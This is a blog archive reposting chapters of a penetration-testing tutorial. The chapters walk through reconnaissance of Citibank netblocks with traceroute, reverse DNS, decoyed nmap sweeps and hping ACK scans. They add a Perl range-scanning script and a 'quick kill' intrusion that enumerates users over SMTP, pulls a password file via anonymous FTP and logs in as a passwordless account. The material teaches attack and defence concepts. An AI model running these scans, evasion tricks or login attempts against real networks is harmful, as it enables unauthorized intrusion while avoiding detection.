hack computer: September 2010

Thursday, September 30, 2010

General scanners vs. custom tools

General scanners vs. custom tools
Why? Why not use a vulnerability scanner that checks for 1000 vulnerabilities on a host, and just see what it comes up with? Well - it's tasteless, it consumes bandwidth, CPU power, lots of time, and most important, it will light up any IDS (or semi-alive sysadmin) like a Christmas tree. Furthermore, the general vulnerability scanners are not always that effective and up to date (there are exceptions of course). Custom-made scanners is tailored for the occasion, they are streamlined, and they are not as noisy as general scanners. Imagine taking an "all-terrain 4x4" to the surface of Mars...
How to decide to load the weapons? Most scanners look for vulnerabilities in services. A service is normally bound to a specific port. Thus, finding what ports are open on a host will tell us what services it runs, which in turn will tell us how to configure our scanners. Many scanners have a portscanning utility built-in, and claim to scan only "discovered" services. Most of the time this works well - but you will find that it have limitations. There is no substitute for plain common sense.

The hacker's view on it (quick kill example)

The hacker's view on it (quick kill example)
(Let us see - if I can obtain root/administrator access on a host, why would I bother to see the Ethernet card's stats, or be able to write a message to all the users? No - if I know that there is a possibility to obtain super user status I will go for it right away. My point is this - I would only port scan a host on ports that is servicing services that can easily lead to a compromise. And mind you - skip the vulnerability scanners. Grab the banners and versions and see if the host is running vulnerable versions of the service. If it is - go directly for the kill.
OK, let us take it step by step, with examples etc. Let us assume the host that I am interested in is 196.3x.2x.7x. From the previous section I know exactly where it is located and that it is active. For various reasons I want to get a shell on this host. First of all I am interested in what O/S it is running. Maybe not the exact version - I just want to know if the host is running Unix or Windows. And remember, I don't want to set off all the bells and whistles along the way. Which are the most common ports that are open on hosts in the Internet? I would say port 25 (SMTP) and port 80 (HTTP). I have a good chance of knowing the O/S by telnetting to either of these ports, and as such I telnet to port 25:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to 196.3x.2x.7x.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:20:28 +0100 (BST)
I reply with the QUIT command to terminate the connection. As we can all see, the host replied with a Sendmail banner (a rather old Sendmail as well). Common sense tells us that this host is a UNIX system.
Keeping in mind that I am only trying to get a shell on the host, I proceed to the next logical step - telnetting to port 23 (telnet). Maybe the port is wrapped. Maybe it is firewalled. Maybe I should just find out:
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: It not wrapped or firewalled. The host does not look at though it is firewalled at all (it could be...we don't know, and we don't care - we will find out soon enough). We go directly to the next step - see if the finger port is open:
# finger @196.3x.2x.7x
[196.3x.2x.7x]
finger: read: Connection refused
Hmm...the host's finger service is not filtered, but then again - it's not running finger. How do we get a username and a password? On UNIX systems where are several ways to find out if a user exists - we would have to guess a password. If the Sendmail were not configured to do so it would allow us to issue a VRFY and EXPN command. These commands will verify if a user exists and expand the username if it is pointing to other email address respectively. Let us use some common usernames and see if they exist:
# telnet 196.3x.2x.7x 25
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
220 xxx.xx.co.za ESMTP Sendmail 8.7.1/8.7.1; Mon, 14 Aug 2000 00:34:01 +0100 (BST)
vrfy test
250 user
vrfy user
550 user... User unknown
vrfy u46b00
550 u46b00... User unknown
vrfy root
250
expn root
250
vrfy guest
550 guest... User unknown
vrfy mail
550 mail... User unknown
expn webmaster
550 webmaster... User unknown
expn postmaster
250
Let us see what happened here. First of all we see that EXPN and VRFY commands are allowed. The username "test" exists. The username "user" and "u46b00" does not exist. The username "root" exists. The username "root" does not have any aliases, but the username "postmaster" is feeding the "root" account.
So - the username "test" exists. The username test is very common is systems that are not kept in a good condition. No points for guessing what password we are going to use with user "test":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
login: test
Password:
Login incorrect
Connection closed by foreign host.
Hmm...interesting. The username "test" does not have password "test", "test1" or "test01". Now - we might try another few passwords, but this is really not the idea. How about just getting a list of usernames on the system? Maybe that would give us a better idea of username that have weak passwords? Let us see:
# ftp 196.3x.2x.7x
Connected to 196.3x.2x.7x.
220 u46b00 FTP server (Version 1.7.212.2 Tue Apr 21 12:14:46 GMT 1998) ready.
Name (196.3x.2x.7x:roelof): anonymous
331 Guest login ok, send indent as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> CD /etc
250 CWD command successful.
ftp> get passed
local: passwd remote: passwd
227 Entering Passive Mode (196,3x,2x,7x,8,186)
150 Opening BINARY mode data connection for passed (7695 bytes).
100% |*************************************************| 7695 00:00 ETA
226 Transfer complete.
7695 bytes received in 2.06 seconds (3.64 KB/s)
ftp> exit
221 Goodbye.
~/perl/telnet/brute more passwd
root:*:0:3::/var/sam:/usr/bin/false
root:*:0:3::/var/sam:/usr/bin/false
daemon:*:1:5::/var/sam:/usr/bin/false
bin:*:2:2::/var/sam:/usr/bin/false
sys:*:3:3::/var/sam:/usr/bin/false
adm:*:4:4::/var/sam:/usr/bin/false
uucp:*:5:3::/var/sam:/usr/bin/false
lp:*:9:7::/var/sam:/usr/bin/false
nuucp:*:11:11::/var/sam:/usr/bin/false
hpdb:*:27:1::/var/sam:/usr/bin/false
----cut----
The problems with these unkept "old" UNIX hosts are that they keep the "shadow" password file in the /etc directory of the anonymous FTP user. While the file does not contain any passwords, it gives us a very good idea of which users may have weak passwords. We inspect the shadow password file and focus on the following entries:
pro:*:100:100::/var/sam:/usr/bin/false
mis2000:*:208:1000::/var/sam:/usr/bin/false
lab:*:369:2000::/var/sam:/usr/bin/false
oracle:*:101:100::/var/sam:/usr/bin/false
doggy:*:541:2000::/var/sam:/usr/bin/false
f399:*:611:2000::/var/sam:/usr/bin/false
These users have suspect names - they don't fit the description of "normal" usernames - these are typically usersnames that are used by more than one person and these normally have weak passwords. Starting from the top, we hit the jackpot with the second user "mis2000":
# telnet 196.3x.2x.7x
Trying 196.3x.2x.7x...
Connected to xxx.xx.co.za.
Escape character is '^]'.
HP-UX u46b00 B.10.20 A 9000/831 (ttyp1)
login: mis2000
Please wait...checking for disk quotas
What is your terminal type?
No password...at all. Now, I hear all the script kiddies going - yeah, we are hackers, we also could have done that - and the more seasoned hackers saying - sheet this is not hacking - it is clubbing baby seals. And it is. But this is not the point - the point is the method used. It shows that the hacker goes directly for the kill - in a situation like the one described above it make not sense portscanning the host first - everything you need is right there.

Wednesday, September 29, 2010

Loading the weapons

Loading the weapons
At this stage we know where the target is located, and we have a good idea of the target's status (alive or dead). From DNS information we can get an idea of the importance of the target. The next step would be to find information that would help us choosing the correct weapons. It's no use bringing a knife to a gunfight - on the other hand it just stupid to nuke a whole city in order to execute one person. We want to be in a position to know exactly which weapons to load. The chapter examines this situation by looking at two examples - both from a hacker's viewpoint.

Tuesday, September 28, 2010

against stateless Firewalls

Method2 (against stateless Firewalls)
What is the difference between stateful and stateless firewalls really? Well to understand the difference, you got to understand how a TCP connection looks like: the client sends a TCP packet with the SYN flag set, the server responds with a TCP packet with the SYN and the ACKL flags set. Thereafter the server and the client send TCP packets with the ACK flag set. To ensure two-way communication, stateless firewalls usually have a rule (the very last rule) that states that “established” connections are allowed; packets with the ACK flag set. How does this help us? Well, if I send a packet to a server with only the ACK flag set, the server will respond with a RST (reset) flag. This is due to the fact that the server does not know why I am sending a packet with only the ACK flag set (in other words it says: “hey! We haven’t performed a 3 way handshake – bugger off”). Thus, if the machine is alive we WILL get a response – a RST packet.
How do we do it? Simple – there a nifty tool called hping that does this (and a lot more). Let us see how. Lets send a packet with only the ACK flag set- hping will detect if anything comes back. We run hping against a machine that sits behind a stateless firewall: (first we ping it to show you what happens)
# ping -c 3 196.35.xxx.12
PING 196.35.xxx.12 (196.35.xxx.12): 56 data bytes
--- 196.35.xxx.12 ping statistics ---
3 packets transmitted, 0 packets received, 100% packet loss
Now hping:
# hping 196.35.xxx.12 -c 3 -A
HPING 196.35.xxx.12 (ep0 196.35.xxx.12): A set, 40 headers + 0 data bytes
46 bytes from 196.35.xxx.12: flags=R seq=0 ttl=115 id=20664 win=0 rtt=2088.2 ms
46 bytes from 196.35.xxx.12: flags=R seq=1 ttl=115 id=20665 win=0 rtt=2180.1 ms
46 bytes from 196.35.xxx.12: flags=R seq=2 ttl=115 id=20666 win=0 rtt=2130.1 ms
--- 196.35.xxx.12 hping statistic ---
3 packets tramitted, 3 packets received, 0% packet loss
round-trip min/avg/max = 2088.2/2132.8/2180.1 ms
Although the machine does not respond to ICMP ping packets, it responds with a RST flag if we send an ACK flag. So – there we go – a real TCP ping. How do we hping a lot of hosts? Here’s a quick & dirty PERL script that will do it for you:
#!/usr/bin/perl
# Usage: perl hpings startip-endip 'parameters_to_hping'
# eg. hpings 160.124.19.0-160.124.19.10 '-A -c 2'
$|=1;
@een=split(/-/,@ARGV[0]);
@ip1=split(/\./,@een[0]);
@ip2=split(/\./,@een[$#een]);
for ($a=@ip1[0]; $a<1+@ip2[0]; $a++) {
for ($b=@ip1[1]; $b<1+@ip2[1]; $b++) {
for ($c=@ip1[2]; $c<1+@ip2[2]; $c++) {
for ($d=@ip1[3]; $d<1+@ip2[3]; $d++) {
print "$a.$b.$c.$d : ";
system "hping $a.$b.$c.$d @ARGV[1]";
}}}}
Summary
The idea in this chapter is to know which machines are "alive". It is of no use attacking a dead machine. There are several techniques to "hide" hosts. Hosts on unrouted/experimental networks cannot be discovered directly. There are ways to determine if a host is "alive". The simplest way is to ping it. If ICMP is blocked this will not work - then a TCP ping should be considered. One should be really careful how an "alive-scan" is executed as it can raise alarms. The tool nmap can be used very effectively in archiving this.
Before we go on
The next step would be to look for what I call "easy money". Before we can go into the details of this, there are some points to understand. There are some major differences between auditing a network and hacking into a network. Let us look at the analogy of a house. On the one hand you have the true blue blood burglar - the objective is getting into the house with whatever means possible. The burglar looks for the easiest and safest way to get into the house and he does not care about all the other means. On the other hand the security officer - it is his job to tell the client of every single little hole in the house. The difference between the security officer and the burglar is that when the security officer finds the front door wide open he notes it, and looks for other problems, whereas the burglar find the front door open and walks straight in, ignoring the other holes. In the cyber world it works the same. So, hiring a hacker (in the criminal sense of the world) to audit a system is a bit worrisome. The hacker will surely help you to find a weakness in your defense, but the idea of an IT security audit is not this - the idea is to find all the holes and fix them. Once you and your security advisor is confident that all holes are closed you might want to hire a hacker (or penetration specialist) to try to penetrate the network. The bottom line - doing penetration testing and doing a comprehensive security assessment of a network is not nearly the same thing.
This document had come to the point where I have to decide which route we are going to follow - the view of the hacker or the view of the IT security assessment officer. Choosing either one of the options I cannot continue with Citibank as an example unless I want to land in potentially serious trouble. The rest of the document - with the focus on either hacking or assessing will thus be looking at actual client networks - networks we every right to penetrate. The techniques can be implemented at Citibank as well - in the exact same way, but I simply cannot do it right here and now as Citibank is not my client (unfortunately).

Monday, September 27, 2010

Ping - ICMP

Ping - ICMP
Keeping all this in mind, where does one begin to discover which machines are alive? One way might be to ping all the hosts in the list. Is this a good idea? There are pros and cons. Pinging a host is not very intrusive - ping one machine on the 'net, and chances are that no-one will notice. Ping a class B in sequential order, and you might raise some eyebrows. What if ICMP is blocked at the border router, or on the firewall? Not only wont you get any results, but also all your attempts will be logged. If a firewall's "deny" log increase tenfold overnight, you can bet on it that it will be noticed. In many cases ICMP ping requests is either blocked completely, or allowed completely. There are exceptions of course (say an external host is pinging a internal host every X minutes to make sure it is alive, and sends alerts when the host is dead), but generally ICMP is either blocked or allowed. I have not seen any hosts that log ICMP ping packets. Thus, if ICMP ping is allowed to enter and leave the network, you can safely ping the whole netblock without anyone noticing. That is - if there are no IDS (intrusion detection system) in place.
An IDS is a system that looks for suspect looking packets - it will pick up on any known signature of an exploit. It then reacts - it might notify the sysadmin, or it might close the connection. Any IDS worth its salt also looks for patterns. If you portscan a host an IDS located between you and the host would pick up that you are trying to open sequential ports on the same IP - portscanning it. So - if you are pingscanning a big network the IDS might spot a pattern and might react. The "signature" that the IDS would pick up is that the IMCP flags are set to "ping request", and that these are coming in at a rapid rate to many machines (see, that is how an IDS picks up on floodping for example).
If we can counter most of the above obstacles, a ping sweep/scan might be a first good indication of hosts that are alive on the netblock. We counter the obstacles by doing the following - we first ping a few random hosts in the netblock (manually) to see if ICMP are allowed to the inside (yes - I know - this is a hit and miss method because in the whole of the class C there can be one IP that is alive, but rather safe than sorry). If we see ANY ICMP reply we assume that ICMP is allowed to the inside, and proceed to ping scan the network very carefully. In this case very carefully mean very slowly, and not in sequence. We also want to try confuse the sysadmin as to who we really are. If we could send packets with fake (or spoofed) IP addresses we could "cloak" ourselves among the other fake IP addresses. Packets with fake IP numbers will be returned, just as the packets to our IP address, but the "non-suspecting" hosts would simply ignore them, as it never knew that it was "sending" it out. How does one go about scanning stealthy and very slowly?
Enter Nmap (www.insecure.org/nmap). Nmap is a scanner tool build by the good Fyodor of Insecure.org. It is the preferred scanning tool for many security people (good and bad). It has recently been ported to Windows NT as well (by the people at Eeye.com). Without going into the detail of all nmap's option (there are a lot), we find that the command
nmap -sP -PI -Tpolite -D10.0.0.1,172.16.1.1 --randomize_hosts
would do the thing. Let us have a quick look at the different parameters and what they mean. -sP -PI mean that we want to ping sweep with ICMP only, -D10.0.0.1,172.16.1.1 mean that we want to send decoys 10.0.0.1 and 172.16.1.1, -Tpolite means that we want to scan slowly, and -- randomize_hosts tells nmap to shuffle the destination. Now, obviously you would not use 10.0.0.1 and 172.16.1.1 - that is stupid as the sysadmin will quickly spot your (legal) IP between the rest of the (illegal) IP numbers. A further note - don't be stupid and put Microsoft and the NSA's IP numbers in the decoys - it can be spotted easily. Instead try to use IP numbers that are assigned to public mailservers, and add a public webserver here and there. The more decoys you add the safer you are. There is a balance of course - remember that if ICMP request could be logged. To use or not to use decoys can open large debates - an argument against using decoys could be that if a sysop sees a decoyed pingsweep (it pretty obvious when a large number of IPs starts pinging your hosts all of a sudden) it means that someone has spent the time to cloak him/herself - and this on its own is reason for concern. This concern could lead to investigation, something the sysop would normally not do.
Let us see how well this works in a real life. Let us choose a Citibank netblock that we have discovered - we take a small block in Argentina 200.42.11.80-200.42.11.87. We first do a manual ping of a few machines, and find that 200.42.11.81 is alive...and then it hits like a ton of bricks - this method is not that well designed! Imagine the sysop seeing a failed ping request from MY IP number, then a successful ping request, and after two minutes a "storm" of ping requests from all over the world to the rest of the netblock...and that "storm" containing my IP number. It does not take a rocket scientist to figure out what happened. So - I either have to ping from a totally remote site to establish if ICMP is allowed in, or do use the decoys right from the start.
We choose the first method, and proceed with another netblock. This time we choose the block 63.71.124.192-63.71.124.255 in the US of A. We first manually ping some IPs in the block - from a (undisclosed) offsite location. 63.71.124.198 is found to be alive (I hear you saying - why not do the whole of the ping sweep from the "other" location - well, maybe that "other" location does not have the capabilities to run my carefully crafted scanner, or I do not want to attract ANY attention to that site). We now fire up nmap as mentioned. The complete command is (decoys X-ed out):
>nmap -sP -PI -Tpolite -D199.x9.68.1x0,216.1x7.52.33,15x.43.128.26,196.x.160.8 --randomize_hosts 63.71.124.193-254
The output is:
Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ )
Host (63.71.124.193) appears to be up.
Host (63.71.124.197) appears to be up.
Host (63.71.124.198) appears to be up.
Nmap run completed -- 62 IP addresses (3 hosts up) scanned in 46 seconds
Aha! ICMP is allowed into the network, and there are 3 machines responding to it. What do we do if we find or suspect that ICMP is blocked?

Ping -TCP (no service, wrappers, filters)

Ping -TCP (no service, wrappers, filters)
Method1 (against stateful inspection FWs)
The idea is to find machines that are alive. The way we do this is by sending data to the host and looking if we can see any response. If our data were blocked at the router or firewall it would look as though the machine is dead. The idea is thus to find data that is allowed to pass the filters, and that would trigger a response. Per default just about all operating systems will listen on certain ports (if TCP/IP is enabled). Computers are likely to be connected to the Internet with a purpose - to be a webserver, mailserver, DNS server etc. Thus, chances are that a host that is alive and connected to the Internet is listening on some ports. Furthermore it is likely (less but still) than the firewall or screening router protecting these hosts allows some for of communication to these hosts - communication is less likely to be a one-way affair. Packetfilters uses source IPs, source to decide if a packet will be allowed to enter the network. Normally a firewall will allow the world to communicate to some host or hosts in some form or the other - thus not looking at the source IP address.
The idea would thus be to send a TCP connect on well-known ports and hope that 1) the firewall passes it through 2) the host is listening on the specified port. Given the response of the host, one can determine which of 1) and 2) happened. If we get no response we know that the firewall is blocking us - if we get a response from the server telling us that the port is not open we at least know that it was not filtered by the firewall. Hereby two examples:
>telnet wips.sensepost.com 22
Trying 160.124.19.98...
telnet: connect to address 160.124.19.98: Connection refused
telnet: Unable to connect to remote host
The host responded by telling us that it is not listening on port 22. It also tells us that there is nothing between us and the host (on port 22). So, if we find that for a certain block a number of hosts returns a "connection refused" while other are return a SSH version (port 22 is SSH) we can safely assume that the firewall is configured to allow anyone to connect to port 22 (anywhere in the netblock). Another example:
>telnet wips.sensepost.com 44
Trying 160.124.19.98...
telnet: Unable to connect to remote host: Connection timed out
Here the connection to port 25 is timing out - telling us that there are something blocking the packet to arrive at the final destination. Let us assume that we scan a netblock for port 25 and we find that certain hosts answers with a SMTP greeting, while others simply time out. This tells us that the firewall is configured to only allow packets with a certain destination port on a certain destination IP to enter the network. If we find a "connection refused" answer in a the same net we know that someone probably screwed up - the service is not running, but the config on the firewall has not been updated to close the "hole".
A machine that is dead will respond in the same way as a machine that is protected by a firewall that does not allow anything through. Thus, getting no response from a server does not mean that it is heavily firewalled - it might just be switched off, or unplugged.
Thus, getting back to the original argument - sending TCP requests to a number of well known ports might tell us if the machine is indeed alive. This might be useful in a situation where ICMP ping requests or replies are blocked on a firewall. We have no way to know if any hosts are alive but the connect to well-known ports and hope that 1) it is not firewalled and than 2) we get some response (be that "connection refused" or some service response).
The more ports we test for, the more our requests will look like a port scan (it is in fact a port scan - with just a limited amount of ports that are tested), and will trigger an IDS. It the therefore very tricky to decide if this action can be executed without triggering alarms - more so when we are scanning a large netblock. As a general rule, the number of IPs tested times the number of ports tested should not exceed 15. Testing 15 hosts for port 80 is OK, testing 5 IPs for 3 ports are OK etc. This is a very general rule and really depends on your target, the competency level of their technical staff and how anonymous you want to stay (and how lucky you feel).
Let us stay with Citibank (Citibank - I REALLY mean no harm - you are just such a good example network). Using the previous ping technique it seems that a device is blocking ICMP to the 192.193.195.0/24 netblock. We will thus proceed to do a "TCP ping" to 30 hosts (I feel lucky) in the block. I choose this block because it has interesting reverse DNS entries (see previous section):
120.195.193.192.IN-ADDR.ARPA domain name pointer global120.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer arrow2-a.citicorp.com
121.195.193.192.IN-ADDR.ARPA domain name pointer global121.citicorp.com
122.195.193.192.IN-ADDR.ARPA domain name pointer global122.citicorp.com
123.195.193.192.IN-ADDR.ARPA domain name pointer global123.citicorp.com
124.195.193.192.IN-ADDR.ARPA domain name pointer global124.citicorp.com
125.195.193.192.IN-ADDR.ARPA domain name pointer global125.citicorp.com
132.195.193.192.IN-ADDR.ARPA domain name pointer ld1-www.citicorp.com
140.195.193.192.IN-ADDR.ARPA domain name pointer mango1.citicorp.com
141.195.193.192.IN-ADDR.ARPA domain name pointer mango2.citicorp.com
150.195.193.192.IN-ADDR.ARPA domain name pointer fw-a-pri.ems.citicorp.com
Choosing which ports to scan for can be a tricky business. The best way is trying to choose ports that you think might generate a response. Looking at the reverse (or forward) DNS entries sometimes gives one a clue as to which ports to test for. Looking at the hosts reverse entries I am choosing my ports to be 80 (HTTP), port 443 (HTTPS) and port 264 (I hope the fw-a-pri is a FW1 with management port 264 open).The actual command issued looks like this:
#nmap -sS -P0 -Tpolite --randomize_hosts -D20x.195.1x0.5x,19x.3x.90.1x8,x04.x2.x53.18 192.193.195.120-150 -p 80,264,443
Let us have a quick look at the command. -sS means we are doing a half-open SYN scan, -P0 mean don't stop if you can't ping the host (nmap only scans pingable hosts by default, and we know that these cannot be pinged), -p 80,264,443 means only look at ports 80,264 and 443. Note - you have to be root to do SYN scanning. The output looks like this (somewhat manipulated to save the rain forest):
Interesting ports on global121.citicorp.com (192.193.195.121):
[same on 121, .122, .126, .128, .133, .134, .143, .148] sample A
Port State Service
80/tcp filtered http
264/tcp filtered bgmp
443/tcp filtered https
Interesting ports on (192.193.195.147):
[same on .131, .136, .141., .150] sample B
(The 2 ports scanned but not shown below are in state: closed)
Port State Service
264/tcp filtered bgmp
Interesting ports on global120.citicorp.com (192.193.195.120):
[same on .132, .123] sample C
Port State Service
80/tcp open http
264/tcp filtered bgmp
443/tcp open https
What can be deduced from the output? First of all this - hosts in sample A is filtered on all three ports. This does not mean that the hosts are not alive - it simply means that we do not know. Hosts in sample B is alive - we are 100% sure of this - although port 264 is filtered, these hosts answered that they are not listening on ports 80 or 443 (state "closed"). Sample C is the more interesting of the lot - both machines in sample C is listening on ports 80 and 443. It is most likely that they are running some form of (HTTPS-enabled) webserver.
From this scan we also see that IP numbers that does not have reverse DNS entries are not necessarily down, and visa versa. It would thus make no sense to only scan hosts with reverse entries (sometimes companies would do this - why no one would know). We also see that our scan on port 264 was unsuccessful in all cases (bummer!). From this part of netblock we can thus compile a list of hosts that we know is alive:
fw-a-pri.ems.citicorp.com (192.193.195.150) 192.193.195.127
mango2.citicorp.com (192.193.195.141)
global123.citicorp.com (192.193.195.123)
192.193.195.131
ld1-www.citicorp.com (192.193.195.132)
global120.citicorp.com (192.193.195.120)
192.193.195.136
(and possibly others - the scan was prematurely ended because we got the needed output)
The worth of mapping the network carefully now pays off. We know that the 192.193 network is not routed to the same place. This means we can have a "alive" run against many parts of the 192.193 network without raising the alarm - parts of the network (class Cs) are protected (or not protected) by different firewalls/routers, and changes are slim that these different

Sunday, September 26, 2010

Alive & kicking ?

Alive & kicking ?
Alive & kicking ?
In the previous chapter we saw how to know where your target is. As we have seen, this is not such a simple matter as your target might be a international company (or even a country). Mapping the presence of the target on the Internet is only the first part of gaining intelligence on your target. You still have no idea of the operating system, the service(s) running on the server. At this stage we are still not doing any "hacking", we are only setting the stage for the real fun. If the previous chapter was finding the correct houses, this chapter deal with strolling past the house, peeping through the front gate and maybe even ringing the doorbell to see if anyone answers.
The techniques explained in this chapter could cause warning lights to dimly flash. An alert sysop might notice traces of activity, but as we are legally not doing anything wrong at this stage, it is hard to make a lot of noise about it. We are going to do our best to minimize our level of exposure.
Unrouted nets, NAT
The output of the previous section is lot of IP numbers. We are still not sure that these are all the IP numbers involved - we suspect that it is used. We have netblocks - blocks of IP numbers. Within that block there might be only one host that is even switched on. The first step here is thus to try to find out which machines are actually alive (its of no use to attack a machine that is not plugged into the 'net). The only way to know that a host is actively alive on the 'net is to get some sort of response from the machine. It might be a ICMP ping that is return, it might be that the IP is listed in a bounced mail header, it might be that we see a complete telnet banner.
Companies spend thousands of dollars hiding machines. They use unrouted/experimental IP blocks (10.0.0.0/8 type of thing) and use NAT (network address translation) on their outbound routers or firewalls. They have fancy proxies that'll proxy anything from basic HTTP request to complicated protocols such as Microsoft Netmeeting. They build tunneling devices that will seamlessly connect two or more unrouted/experimental subnets across the Internet. In many cases the main concern for the company is not the fact that they want to hide their IP numbers - the driving force might be that they are running out of legal IP numbers, and the fact that they are hiding the IP blocks is a nice side-effect.
The ratio between legal and illegal IP blocks varies from company to company and from country to country. The South African Telecom use 6 class B networks - all their equipment has legal IP numbers. On the other hand a very well known European telecom used a single IP and NAT their whole network through that IP. As a general rule (very general) one can assume a ratio of legal to illegal netblocks of 1:10. Given that Citibank has over 60 legal netblocks, one can safely assume that they should have many times more illegal netblocks.
The problem with illegal IP blocks is that one cannot discover if machine on an illegal IP number is alive - not directly in anyway. The packets that are suppose to trigger a response simply does not arrive at the correct destination. I have seen many wannabe "Security experts" scanning their own private network whilst thinking that they are in fact scanning a client (with a very worried look in their eyes they then tell the client that they have many problems on their network:)). Other problems that arise are that a client might be using a legal netblock, but that the netblock does not actually belong to them. Some legacy sysop thought it OK to use the same netblock as the NSA. Scanning this client "legal" netblock might land you in a spot of hot water. When conducting any type of scan, make sure that the netblock is actually routed to the correct location. Another note - if an IP number is connected with a DNS name is does NOT mean the IP number is legal (or belongs to them. Many companies use internal IP numbers in their zone files - for secondary MX records for instance.

Saturday, September 25, 2010

hack computer

Traceroute & world domination
The blocks not marked with a "none" are routed on the Internet today. Where are these plus the smaller blocks routed? Since a complete class C network is routed to the same place, we can traceroute to a arbitrary IP within the block. We proceed to do so, tracerouting to the next available IP in the block (e.g. for netblock 62.157.214.240 we would trace to 62.157.214.241) in each netblock. Looking at the last confirmed hop in the traceroute should tell us more about the location of the block. Most of the European blocks are clearly defined - but what about the larger blocks such as the 192.193.0.0 block and the 193.32.0.0 block? The information gained is very interesting:
62.157.214.240-62.157.214.247 Germany
62.184.117.0/24 Not routed
62.200.100.0-62.200.100.31 Germany
62.225.11.144-62.225.11.151 Germany
63.236.56.224-63.236.56.255 USA
63.67.86.0/24 USA
63.71.124.192-63.71.124.255 USA
63.72.243.0/24 USA
63.74.88.64-63.74.88.79 USA
63.80.165.128-63.80.165.159 USA
192.132.9.0/24 Not routed
192.148.191.0/24 Not routed
192.193.172.0/24 USA
192.193.180.0/24 USA
192.193.182.0/24 USA
192.193.183.0/24 USA
192.193.184.0/24 USA
192.193.186.0/24 USA
192.193.187.0/24 USA
192.193.188.0/24 USA
192.193.192.0/24 USA
192.193.193.0/24 USA
- 16 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
192.193.194.0/24 USA
192.193.195.0/24 USA
192.193.196.0/24 USA
192.193.201.0/24 USA
192.193.208/24 USA
192.193.210.0/24 USA
192.193.211.0/24 USA
192.193.70.0/24 Singapore
192.193.71.0/24 USA
192.193.73.0/24 Singapore
192.193.74.0/24 Philippines
192.193.75.0/24 Singapore
192.193.77.0/24 Japan
192.209.110.0/24 Not routed
192.209.111.0/24 Not routed
192.209.120.0/24 Not routed
192.246.55.0/24 Not routed
192.48.247.0/24 Not routed
193.32.128.0/24 Not routed
193.32.161.0/24 UK
193.32.176.0/20 UK
193.32.192.0/20 UK
193.32.208.0/23 UK
193.32.254.0/23 UK
194.108.183.32-194.108.183.47 Czech Republic
194.50.218.0/24 Not routed
194.69.69.160-194.69.69.167 Not routed
195.183.49.128-195.183.49.143 Not routed
195.235.80.200-195.235.80.207 UK
195.75.113.0/24 Germany
196.28.49.0-196.28.49.31 USA
200.42.11.80-200.42.11.87 Argentina
203.197.24.0/24 India
203.66.184.0/24 Taiwan
203.66.185.0/24 Taiwan
205.147.21.161-205.147.21.168 USA
208.132.249.0-208.132.249.31 USA
208.138.110.0/24 USA
208.231.68.0/24 USA
208.44.107.32-208.44.107.63 USA
208.46.142.160-208.46.142.175 USA
208.58.129.224-208.58.129.239 USA
213.25.206.44-213.25.206.47 Poland
213.61.189.96-213.61.189.127 Germany
216.233.123.104-216.233.123.111 USA
216.233.22.128-216.233.22.135 USA
216.233.56.176-216.233.56.183 USA
216.233.56.184-216.233.56.191 USA
216.233.97.64-216.233.97.71 USA
It is interesting to note that none of the 192.193 IP blocks are routed to Europe. Citibank has thus registered unique individual blocks for Europe based branches, and are routing some of its 192.193 class B class Cs to Asia. It seems that many of the Citibank websites are running on "ISP blocks". If the idea is to get to the core of Citibank these sites might not be worthwhile to attack, as we are not sure that there is any connection with back-ends (sure, we cannot be sure that the Citibank registered blocks are more interesting, but at least we know that Citibank is responsible for those blocks).
Taking all mentioned information into account, we can start to build a map of Citibank around the globe. This exercise is left for the reader :)).
Reverse DNS entries
As promised, the next step would be reverse resolve scanning some nets. By doing this we could possibly see interesting reverse DNS names that might give away information about the host. We proceed to reverse scan all the mentioned blocks, as well as the corresponding class C block of the IPs that does not fall in above mentioned blocks (the ISP-like blocks). Extracts of the reverse scan looks like this:
- 17 - Breaking into computer networks from the Internet [Roelof Temmingh & SensePost]
1.195.193.192.IN-ADDR.ARPA domain name pointer global1.citicorp.com
2.195.193.192.IN-ADDR.ARPA domain name pointer global2.citicorp.com
3.195.193.192.IN-ADDR.ARPA domain name pointer global3.citicorp.com
4.195.193.192.IN-ADDR.ARPA domain name pointer global4.citicorp.com
119.195.193.192.IN-ADDR.ARPA domain name pointer arrow1.citicorp.com
119.195.193.192.IN-ADDR.ARPA domain name pointer arrow1-a.citicorp.com
120.195.193.192.IN-ADDR.ARPA domain name pointer global120.citicorp.com
150.195.193.192.IN-ADDR.ARPA domain name pointer fw-a-pri.ems.citicorp.com
151.195.193.192.IN-ADDR.ARPA domain name pointer fw-b-pri.ems.citicorp.com
192.195.193.192.IN-ADDR.ARPA domain name pointer egate3.citicorp.com
194.195.193.192.IN-ADDR.ARPA domain name pointer egate.citicorp.com
232.195.193.192.IN-ADDR.ARPA domain name pointer iss-pix11.citicorp.com
233.195.193.192.IN-ADDR.ARPA domain name pointer iss-pix12.citicorp.com
234.195.193.192.IN-ADDR.ARPA domain name pointer nr1.citicorp.com
121.196.193.192.IN-ADDR.ARPA domain name pointer qapbgweb1.pbg.citicorp.com
122.196.193.192.IN-ADDR.ARPA domain name pointer qapbgweb1b.pbg.citicorp.com
123.196.193.192.IN-ADDR.ARPA domain name pointer qapbgweb3a.pbg.citicorp.com
231.196.193.192.IN-ADDR.ARPA domain name pointer iss2.citicorp.com
232.196.193.192.IN-ADDR.ARPA domain name pointer iss-pix21.citicorp.com
233.196.193.192.IN-ADDR.ARPA domain name pointer iss-pix22.citicorp.com
190.74.128.210.IN-ADDR.ARPA domain name pointer telto-gw.dentsu.co.jp
190.74.128.210.IN-ADDR.ARPA domain name pointer citibank-gw.dentsu.co.jp
192.74.128.210.IN-ADDR.ARPA domain name pointer webby-gcom-net.dentsu.co.jp
